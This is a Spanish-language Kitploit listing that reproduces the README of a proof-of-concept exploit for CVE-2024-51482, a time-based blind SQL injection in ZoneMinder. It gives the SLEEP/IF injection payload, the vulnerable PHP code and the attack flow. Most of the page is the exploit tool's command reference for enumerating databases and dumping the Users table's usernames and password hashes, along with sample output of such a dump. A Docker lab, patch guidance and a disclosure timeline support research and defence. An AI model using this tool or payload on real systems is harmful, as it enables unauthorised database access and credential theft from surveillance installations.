Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-51482-POC — PoC de inyección SQL basada en tiempo para CVE-2024-51482 en ZoneMinder, con laboratorio Docker reproducible y extracción automatizada de datos. | Kitploit
Herramientas/GitHubGitHub/0xdaeras/cve-2024-51482-poc
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónSeguridad de Bases de DatosLabs y Práctica
GitHub0xdaeras/cve-2024-51482-poc

CVE-2024-51482-POC

PoC de inyección SQL basada en tiempo para CVE-2024-51482 en ZoneMinder, con laboratorio Docker reproducible y extracción automatizada de datos.

Ver Repositorio
76hace 4 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

ZoneMinder PoC de inyección SQL ciega basada en tiempo autenticada - CVE-2024-51482

CVE-1 CVSS Python

⚠️ Solo para fines educativos e investigación de seguridad autorizada. Ejecutar esta herramienta contra sistemas que no poseas o para los cuales no tengas permiso por escrito es ilegal.


Índice

  • ZoneMinder PoC de inyección SQL ciega basada en tiempo autenticada - CVE-2024-51482
    • Índice
    • Resumen
    • Detalles de la Vulnerabilidad
      • CVE-2024-51482 — Inyección SQL ciega basada en tiempo
      • Causa Raíz
      • Flujo del Ataque
    • Estructura del Repositorio
    • Requisitos
    • Instalación
PoC
  • Laboratorio Docker
  • Uso
    • Comportamiento por defecto
    • Pantalla de ayuda
    • Comandos
    • Opciones de salida
    • Referencia de flags
    • Ejemplo Completo
    • Notas
    • Laboratorio Docker
  • Ejemplo de Salida
  • Remediación
    • Contra este CVE
    • Contra vulnerabilidades similares
  • Cronología de Divulgación
  • Referencias

  • Resumen

    Este repositorio contiene un PoC de inyección SQL basada en tiempo dirigido a ZoneMinder.

    La herramienta permite:

    • Verificación de vulnerabilidad
    • Enumeración de bases de datos
    • Descubrimiento de tablas y columnas
    • Volcado completo de tablas
    • Exportación a CSV

    También incluye un laboratorio Docker completamente reproducible para pruebas seguras.


    Detalles de la Vulnerabilidad

    CVE-2024-51482 — Inyección SQL ciega basada en tiempo

    • ID CVE: CVE-2024-51482
    • Puntuación CVSS v3.1: 10.0 (Crítica)
    • Tipo de Vulnerabilidad: Inyección SQL ciega basada en tiempo
    • Versiones Afectadas: ZoneMinder v1.37.* <= 1.37.64
    • Vector de Ataque: Endpoint autenticado (removetag)
    • Impacto: Divulgación completa de base de datos, compromiso de integridad de datos
    • Autenticación Requerida: Sí (un usuario con pocos privilegios es suficiente)

    Causa Raíz

    ZoneMinder es una aplicación gratuita y de código abierto para videovigilancia. La vulnerabilidad surge de una validación insuficiente de entrada en el endpoint removetag de ZoneMinder. La entrada proporcionada por el usuario se incorpora directamente en consultas SQL sin la adecuada sanitización o parametrización, permitiendo a los atacantes inyectar cargas útiles SQL basadas en booleanos maliciosas. El exploit aprovecha:

    root@kitploit:~
    SLEEP(x - IF(condition, 0, x))
    

    para inferir datos mediante el tiempo de respuesta.

    Fragmento de código vulnerable completo del Aviso de Mantenedor de Github:

    root@kitploit:~
    case 'removetag' :
        $tagId = $_REQUEST['tid'];
        dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));
        $sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
        $rowCount = dbNumRows($sql);
        if ($rowCount < 1) {
          $sql = 'DELETE FROM Tags WHERE Id = ?';
          $values = array($_REQUEST['tid']);
          $response = dbNumRows($sql, $values);
          ajaxResponse(array('response'=>$response));
        }
    

    Flujo del Ataque

    root@kitploit:~
    Atacante                              Aplicación Web ZoneMinder
       │                                         │
       │  [Auth]                                 │
       │  POST /zm/index.php                     │
       │  {username, password}                   │
       │────────────────────────────────────────►│
       │◄────────────────────────────────────────│
       │  200 OK + Set-Cookie: ZMSESSID=...      │  ← sesión autenticada
       │                                         │
       │  [CVE-2024-51482]                       │
       │  GET /zm/index.php                      │
       │  ?view=request&request=event            │
       │  &action=removetag&tid=<payload>        │
       │────────────────────────────────────────►│
       │                               Consulta SQL booleana ejecutada
       │                               IF(condition, sin retardo, SLEEP)
       │◄────────────────────────────────────────│
       │  Respuesta retardada (oráculo de tiempo) │  ← condición inferida
       │                                         │
       │  Repetir solicitudes                    │
       │  ASCII(SUBSTRING(query,pos,1))          │
       │────────────────────────────────────────►│
       │◄────────────────────────────────────────│
       │  Diferencias de tiempo revelan caracteres │
       │                                         │
       │  Búsqueda binaria por carácter          │
       │────────────────────────────────────────►│
       │◄────────────────────────────────────────│
       │  Datos extraídos (1 carácter a la vez)  │
       │                                         │
       │  SELECT Username, Password FROM Users   │
       │────────────────────────────────────────►│
       │◄────────────────────────────────────────│
       │  Divulgación completa de la base de datos│
       │                                         │
       ✓  Exfiltración completa de datos mediante SQLi ciega
    

    Estructura del Repositorio

    root@kitploit:~
    CVE-2024-51482/
    ├── exploit.py
    ├── README.md
    ├── requirements.txt
    ├── docker-compose.yml
    ├── .env.example
    ├── docker/
    │   ├── Dockerfile
    │   └── entrypoint.sh
    └── logs/
    

    Requisitos

    • Python 3.8+
    • requests
    • Docker y docker-compose (para el entorno de laboratorio)

    Instalación

    PoC

    root@kitploit:~
    git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
    cd CVE-2024-51482-POC
    pip install -r requirements.txt
    

    Laboratorio Docker

    root@kitploit:~
    git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
    cd CVE-2024-51482-POC
    cp .env.example .env  # Configurar variables de entorno
    docker compose up -d
    

    Uso

    Comportamiento por defecto

    Sin ningún flag, la herramienta se autenticará en el objetivo, comprobará su vulnerabilidad y, si es vulnerable, volcará las columnas ID, Username, Password, Name y Email de la tabla zm.Users (comando dump-users).

    root@kitploit:~
    python exploit.py -t http://target/zm -u <username> -p <password>
    

    Pantalla de ayuda

    root@kitploit:~
    python exploit.py -h
    

    Comandos

    check

    Solo comprueba si el objetivo es vulnerable.

    root@kitploit:~
    python exploit.py -t http://target/zm -u <username> -p <password> check
    

    dump-users

    Vuelca las columnas ID, Username, Password, Name y Email de la tabla zm.Users. Comando por defecto si no se especifica ninguno.

    root@kitploit:~
    python exploit.py -t http://target/zm -u <username> -p <password> dump-users
    

    list-db

    Lista todas las bases de datos.

    root@kitploit:~
    python exploit.py -t http://target/zm -u <username> -p <password> list-db
    

    list-tables

    Lista las tablas en una base de datos especificada.

    root@kitploit:~
    python exploit.py -t http://target/zm -u <username> -p <password> list-tables --db <database>
    

    list-columns

    Lista las columnas en una tabla especificada.

    root@kitploit:~
    python exploit.py -t http://target/zm -u <username> -p <password> list-columns --db <database> --table <table>
    

    dump-table

    Vuelca todos los datos de una tabla especificada.

    root@kitploit:~
    python exploit.py -t http://target/zm -u <username> -p <password> dump-table --db <database> --table <table>
    

    También puedes especificar las columnas a volcar (por defecto todas):

    root@kitploit:~
    python exploit.py -t http://target/zm -u <username> -p <password> dump-table --db <database> --table <table> --columns col1,col2
    

    Opciones de salida

    Deshabilitar salida en terminal

    root@kitploit:~
    --no-display
    

    Exportar a CSV

    Si el archivo no existe, se creará. Si ya existe, los nuevos resultados se añadirán.

    root@kitploit:~
    --outfile results.csv
    

    Referencia de flags

    Objetivo y Autenticación

    FlagDescripciónEjemplo
    -t, --targetURL base del objetivo-t http://localhost:8080
    -u, --userNombre de usuario para autenticación-u admin
    -p, --passwordContraseña para autenticación-p admin
    --cookieUsar una cookie ZMSESSID existente en lugar de iniciar sesión--cookie abc123...

    Comandos Principales

    ComandoDescripciónEjemplo
    checkProbar si el objetivo es vulnerable (SQLi basada en tiempo)check
    dump-usersVolcar directamente la tabla zm.Usersdump-users
    list-dbListar todas las bases de datoslist-db
    list-tablesListar tablas de una base de datoslist-tables --db zm
    list-columnsListar columnas de una tablalist-columns --db zm --table Users
    dump-tableVolcar una tabla específicadump-table --db zm --table Users

    Opciones de Comando

    FlagDescripciónRequeridoEjemplo
    --dbNombre de la base de datosSí (para ops de tabla/columna)--db zm
    --tableNombre de la tablaSí (para columna/volcado)--table Users
    --columnsLista separada por comas de columnas a volcarOpcional--columns Username,Password

    Rendimiento y Explotación

    FlagDescripciónPor defectoEjemplo
    --threadsNúmero de hilos de extracción concurrentes5--threads 6
    --delayRetardo usado para SQLi basada en tiempo3--delay 2
    --no-checkOmitir verificación de vulnerabilidad antes de la explotaciónFalse--no-check

    Opciones de Salida

    FlagDescripciónEjemplo
    --outfileGuardar salida en un archivo CSV--outfile results.csv
    --no-displayDeshabilitar salida en terminal--no-display

    Registro y Visualización

    FlagDescripciónPor defectoEjemplo
    -v, --verboseHabilitar registro de depuraciónFalse-v
    --log-fileRuta al archivo de registrologs/exploit.log--log-file out.log
    --no-colorDeshabilitar salida coloreadaFalse--no-color

    Ejemplo Completo

    root@kitploit:~
    python3 exploit.py \
      -t http://localhost:8080 \
      -u admin -p admin \
      dump-table \
      --db zm \
      --table Users \
      --columns Username,Password \
      --threads 6 \
      --delay 2 \
      --outfile dump.csv
    

    Notas

    • Todos los comandos requieren autenticación (cookie o credenciales).
    • dump-users es un atajo para volcar la tabla zm.Users.
    • El multi-hilo acelera significativamente la extracción pero puede aumentar la carga en el objetivo. 5 hilos y un retardo de 3 segundos son valores seguros por defecto. Usa valores personalizados con precaución.
    • La salida CSV soporta datos tanto estructurados como planos (por ejemplo, lista de bases de datos frente a volcados completos de tabla).
    • Usa --no-check solo si estás seguro de que el objetivo es vulnerable.

    Laboratorio Docker

    El docker-compose.yml incluido configura una instancia vulnerable de ZoneMinder.

    root@kitploit:~
    cp .env.example .env  # Configurar variables de entorno
    docker compose up -d
    

    Accede a la interfaz web en http://localhost:8080/ (o en tu puerto personalizado). Las credenciales por defecto son admin:admin. Luego puedes ejecutar el exploit contra esta instancia local para realizar pruebas.


    Ejemplo de Salida

    root@kitploit:~
    $ python3 exploit.py -t http://localhost:8080/ -u admin -p admin --outfile ./out.csv dump-table --db zm --table Users --columns Username,Password
                                                                                                                                       
    _________ ____   _______________       ________ _______   ________     _____         .________ ____    _____    ______  ________   
    \_   ___ \\   \ /   /\_   _____/       \_____  \\   _  \  \_____  \   /  |  |        |   ____//_   |  /  |  |  /  __  \ \_____  \  
    /    \  \/ \   Y   /  |    __)_  ______ /  ____//  /_\  \  /  ____/  /   |  |_ ______|____  \  |   | /   |  |_ >      <  /  ____/  
    \     \____ \     /   |        \/_____//       \\  \_/   \/       \ /    ^   //_____//       \ |   |/    ^   //   --   \/       \  
     \______  /  \___/   /_______  /       \_______ \\_____  /\_______ \\____   |       /______  / |___|\____   | \______  /\_______ \ 
            \/                   \/                \/      \/         \/     |__|              \/            |__|        \/         \/ 
                                                                                                                                       
    
    [∗] URL objetivo: http://localhost:8080/
    [∗] Módulo: dump-table
    [∗] La salida se guardará en: ./out.csv
    
    [∗] Intentando iniciar sesión con autenticación de usuario/contraseña
     🡲  Credenciales: admin:admin
    [+] Autenticado exitosamente como usuario admin
    
    [∗] Probando vulnerabilidad del objetivo...
    [+] El objetivo parece ser vulnerable (el tiempo de respuesta indica una inyección exitosa).
    
    [∗] Volcando contenido de la tabla zm.Users...
    [+] Columnas encontradas: Username, Password
    [∗] Obteniendo número de filas en la tabla...
    [+] La tabla contiene 2 filas. Iniciando volcado...
    
    [∗] Progreso: 5/5 | admin
    [∗] Progreso: 60/60 | $2h$12$NHZs...
    [+] Fila 1 recuperada: admin, $2h$12$NHZs...
    
    [∗] Progreso: 4/4 | flag
    [∗] Progreso: 60/60 | $2y$10$1Ei....
    [+] Fila 2 recuperada: flag, $2y$10$1Ei....
    
    +----------+----------------+
    | Username | Password       |
    +----------+----------------+
    | admin    | $2h$12$NHZs... |
    | flag     | $2y$10$1Ei.... |
    +----------+----------------+
    
    [+] Resultados escritos en ./out.csv
    [+] Trabajo completo. ¡Adiós!
    

    Remediación

    Contra este CVE

    • Actualizar a ZoneMinder v1.37.65 o posterior, que incluye una corrección para CVE-2024-51482.

    Contra vulnerabilidades similares

    • Implementar una validación y sanitización adecuada de todas las entradas proporcionadas por el usuario.
    • Usar consultas parametrizadas o sentencias preparadas para prevenir la inyección SQL.

    Cronología de Divulgación

    • 2024-10-31: El usuario Entropt y el usuario connortechnology divulgan la vulnerabilidad en el GitHub de ZoneMinder.
    • 2024-11-01: Se envía un parche al repositorio de ZoneMinder.
    • 2025-02-13: Se etiqueta la versión 1.37.65.

    Referencias

    • Detalles de CVE-2024-51482
    • Entrada NIST NVD
    • Sitio web oficial de ZoneMinder
    • Aviso de seguridad del mantenedor en GitHub de ZoneMinder
    • Commit de corrección en GitHub de ZoneMinder
    • Hoja de referencia de OWASP para prevención de inyección SQL
    Descargar herramienta